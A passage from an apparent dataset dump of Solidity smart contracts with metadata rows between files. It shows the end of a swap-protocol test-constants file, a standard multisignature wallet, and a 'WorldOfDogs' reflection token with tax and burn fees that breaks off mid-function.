uint256 public constant PERCENTAGE_121_18DEC = 121 * 1e16;
uint256 public constant PERCENTAGE_100_18DEC = 100 * 1e16;
uint256 public constant PERCENTAGE_149_18DEC = 149 * 1e16;
uint256 public constant PERCENTAGE_150_18DEC = 150 * 1e16;
uint256 public constant PERCENTAGE_151_18DEC = 151 * 1e16;
uint256 public constant PERCENTAGE_152_18DEC = 152 * 1e16;
uint256 public constant PERCENTAGE_155_18DEC = 155 * 1e16;
uint256 public constant PERCENTAGE_159_18DEC = 159 * 1e16;
uint256 public constant PERCENTAGE_160_18DEC = 160 * 1e16;
uint256 public constant PERCENTAGE_161_18DEC = 161 * 1e16;
uint256 public constant PERCENTAGE_365_18DEC = 365 * 1e16;
uint256 public constant PERCENTAGE_366_18DEC = 366 * 1e16;
uint256 public constant PERCENTAGE_400_18DEC = 400 * 1e16;
uint256 public constant TC_TOTAL_AMOUNT_100_18DEC = 100 * 1e18;
uint256 public constant TC_1000_18DEC = 1000 * 1e18;
uint256 public constant TC_50_000_18DEC = 50000 * 1e18;
uint256 public constant TC_TOTAL_AMOUNT_10_000_18DEC = 10000 * 1e18;
uint256 public constant TC_COLLATERAL_18DEC = 9967009897030890732780;
int256 public constant TC_COLLATERAL_18DEC_INT = 9967009897030890732780;
uint256 public constant TC_OPENING_FEE_18DEC = 2990102969109267220;
int256 public constant TC_OPENING_FEE_18DEC_INT = 2990102969109267220;
uint256 public constant TC_LP_BALANCE_BEFORE_CLOSE_18DEC = 28000 * 1e18;
uint256 public constant TC_LIQUIDATION_DEPOSIT_AMOUNT_18DEC = 20 * 1e18;
int256 public constant TC_LIQUIDATION_DEPOSIT_AMOUNT_18DEC_INT = 20 * 1e18;
uint256 public constant TC_IPOR_PUBLICATION_AMOUNT_18DEC = 10 * 1e18;
int256 public constant TC_IPOR_PUBLICATION_AMOUNT_18DEC_INT = 10 * 1e18;
uint256 public constant TC_INCOME_TAX_18DEC = 996700989703089073278;
int256 public constant TC_INCOME_TAX_18DEC_INT = 996700989703089073278;
uint256 public constant TC_DECIMALS_18 = 18;
uint256 public constant TC_100_000_000_18DEC = 100_000_000 * 1e18;
uint256 public constant TOTAL_SUPPLY_18_DECIMALS = 10000000000000000 * 1e18;
uint256 public constant USER_SUPPLY_10MLN_18DEC = 10000000 * 1e18;
int256 public constant USER_SUPPLY_10MLN_18DEC_INT = 10000000 * 1e18;
uint256 public constant LEVERAGE_18DEC = 10 * 1e18;
int256 public constant LEVERAGE_18DEC_INT = 10 * 1e18;
uint256 public constant LEVERAGE_1000_18DEC = 1000 * 1e18;
uint256 public constant SPECIFIC_INCOME_TAX_CASE_1 = 600751281464875607313;
int256 public constant SPECIFIC_INCOME_TAX_CASE_1_INT = 600751281464875607313;
uint256 public constant SPECIFIC_INTEREST_AMOUNT_CASE_1 = 6007512814648756073133;
int256 public constant SPECIFIC_INTEREST_AMOUNT_CASE_1_INT = 6007512814648756073133;
int256 public constant D18_INT = 1e18;
int256 public constant D17_INT = 1e17;
int256 public constant D16_INT = 1e16;
int256 public constant ZERO_INT = 0;
uint64 public constant ZERO_64UINT = 0;
uint256 public constant ZERO = 0;
uint256 public constant LEG_PAY_FIXED = 0;
uint256 public constant LEG_RECEIVE_FLOATING = 1;
uint256 public constant N1__0_18DEC = 1000000000000000000;
uint256 public constant N1__0_6DEC = 1000000;
uint256 public constant N0__1_6DEC = 100000;
uint256 public constant N0__01_6DEC = 10000;
uint256 public constant N0__001_6DEC = 1000;
uint256 public constant N0__000_1_6DEC = 100;
uint256 public constant N0__000_01_6DEC = 10;
uint256 public constant P_0_1_DEC18 = 100000000000000000;
uint256 public constant P_0_01_DEC18 = 10000000000000000;
uint256 public constant P_0_3_DEC18 = 30000000000000000;
uint256 public constant P_0_004_DEC18 = 4000000000000000;
uint256 public constant P_0_5_DEC18 = 500000000000000000;
uint256 public constant P_0_05_DEC18 = 50000000000000000;
uint256 public constant P_0_005_DEC18 = 5000000000000000;
uint256 public constant P_0_06_DEC18 = 60000000000000000;
uint256 public constant P_0_006_DEC18 = 6000000000000000;
uint256 public constant USD_10_000_000 = 10000000;
uint256 public constant USD_1_000_000 = 1000000;
uint256 public constant USD_100_6DEC = 100000000;
uint256 public constant USD_10_000_6DEC = 10000 * 1000000;
uint256 public constant USD_14_000_6DEC = 14000 * 1000000;
uint256 public constant USD_28_000_6DEC = 28000 * 1000000;
uint256 public constant USD_50_000_6DEC = 50000 * 1000000;
uint256 public constant USD_100_000_6DEC = 100000 * 1000000;
uint256 public constant USD_1_000_000_6DEC = 1000000 * 1000000;
uint256 public constant USD_10_000_000_6DEC = 10000000 * 1000000;
int256 public constant USD_10_000_000_6DEC_INT = 10000000 * 1000000;
uint256 public constant PERCENTAGE_3_6DEC = 3 * 10000;
uint256 public constant PERCENTAGE_6_6DEC = 6 * 10000;
uint256 public constant PERCENTAGE_7_6DEC = 7 * 10000;
uint256 public constant PERCENTAGE_50_6DEC = 50 * 10000;
uint64 public constant TC_1_EMA_18DEC_64UINT = 1 * 1e16;
uint64 public constant TC_DEFAULT_EMA_18DEC_64UINT = 3 * 1e16;
uint64 public constant TC_5_EMA_18DEC_64UINT = 5 * 1e16;
uint64 public constant TC_8_EMA_18DEC_64UINT = 8 * 1e16;
uint64 public constant TC_50_EMA_18DEC_64UINT = 50 * 1e16;
uint64 public constant TC_6_EMA_18DEC_64UINT = 6 * 1e16;
uint64 public constant TC_120_EMA_18DEC_64UINT = 120 * 1e16;
uint64 public constant TC_150_EMA_18DEC_64UINT = 150 * 1e16;
uint64 public constant TC_151_EMA_18DEC_64UINT = 151 * 1e16;
uint64 public constant TC_160_EMA_18DEC_64UINT = 160 * 1e16;
uint64 public constant TC_161_EMA_18DEC_64UINT = 161 * 1e16;
uint64 public constant TC_400_EMA_18DEC_64UINT = 400 * 1e16;
uint256 public constant TC_DEFAULT_EMA_18DEC = 3 * 1e16;
uint256 public constant TC_NOTIONAL_18DEC = 99670098970308907327800;
uint256 public constant TOTAL_SUPPLY_6_DECIMALS = 100000000000000 * 1000000;
uint256 public constant TC_IBT_PRICE_DAI_6DEC = 1000000;
uint256 public constant TC_TOTAL_AMOUNT_100_6DEC = 100 * 1000000;
uint256 public constant TC_TOTAL_AMOUNT_10_000_6DEC = 10000 * 1000000;
uint256 public constant TC_LP_BALANCE_BEFORE_CLOSE_6DEC = 28000 * 1000000;
uint256 public constant TC_LIQUIDATION_DEPOSIT_AMOUNT_6DEC = 20 * 1000000;
int256 public constant TC_LIQUIDATION_DEPOSIT_AMOUNT_6DEC_INT = 20 * 1000000;
uint256 public constant TC_IPOR_PUBLICATION_AMOUNT_6DEC = 10 * 1000000;
int256 public constant TC_IPOR_PUBLICATION_AMOUNT_6DEC_INT = 10 * 1000000;
uint256 public constant TC_OPENING_FEE_6DEC = 2990103;
int256 public constant TC_OPENING_FEE_6DEC_INT = 2990103;
uint256 public constant TC_COLLATERAL_6DEC = 9967009897;
int256 public constant TC_COLLATERAL_6DEC_INT = 9967009897;
uint256 public constant USER_SUPPLY_6_DECIMALS = 10000000 * 1000000;
uint256 public constant YEAR_IN_SECONDS = 31536000;
uint256 public constant MONTH_IN_SECONDS = 60 * 60 * 24 * 30;
uint256 public constant PERIOD_25_DAYS_IN_SECONDS = 60 * 60 * 24 * 25;
uint256 public constant PERIOD_6_HOURS_IN_SECONDS = 60 * 60 * 6;
uint256 public constant SWAP_DEFAULT_PERIOD_IN_SECONDS = 60 * 60 * 24 * 28;
uint256 public constant PERIOD_75_DAYS_IN_SECONDS = 60 * 60 * 24 * 75;
uint256 public constant PERIOD_60_DAYS_IN_SECONDS = 60 * 60 * 24 * 60;
uint256 public constant PERIOD_50_DAYS_IN_SECONDS = 60 * 60 * 24 * 50;
uint256 public constant PERIOD_56_DAYS_IN_SECONDS = 60 * 60 * 24 * 56;
uint256 public constant PERIOD_28_DAYS_IN_SECONDS = 60 * 60 * 24 * 28;
uint256 public constant PERIOD_1_DAY_IN_SECONDS = 60 * 60 * 24 * 1;
uint256 public constant PERIOD_27_DAYS_19_HOURS_IN_SECONDS = 60 * 60 * 24 * 27 + 60 * 60 * 19;
uint256 public constant PERIOD_27_DAYS_17_HOURS_IN_SECONDS = 60 * 60 * 24 * 27 + 60 * 60 * 17;
uint256 public constant PERIOD_14_DAYS_IN_SECONDS = 60 * 60 * 24 * 14;
uint256 public constant MAX_CHUNK_SIZE = 50;
}
| 261,614 | 10,914 |
8ad72db41a464aea0658a70d84ba227b187b09126f02dcc44e10b5cae8f3c090
| 13,433 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ef/Eff33Ab0474F593EF9CF7E5BaaccDA950cdBaae7_MultiSigWallet.sol
| 2,709 | 12,486 |
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[emailprotected]>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 91,044 | 10,915 |
d8b0f4d7f14c37010a28f0a0d8d61bd9985626a925a8d60a9f01b8e4dd3de749
| 29,633 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ad/adcfb771e88fd804e0fb04eef6492a0daf389c51_WorldOfDogs.sol
| 5,264 | 18,833 |
//https://t.me/worldofdogsofficial
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract WorldOfDogs is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**7 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'WorldOfDogs';
string private _symbol = 'WOD';
uint8 private _decimals = 18;
uint256 private _taxFee = 6;
uint256 private _burnFee = 5;
uint256 private _maxTxAmount = 10**7 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
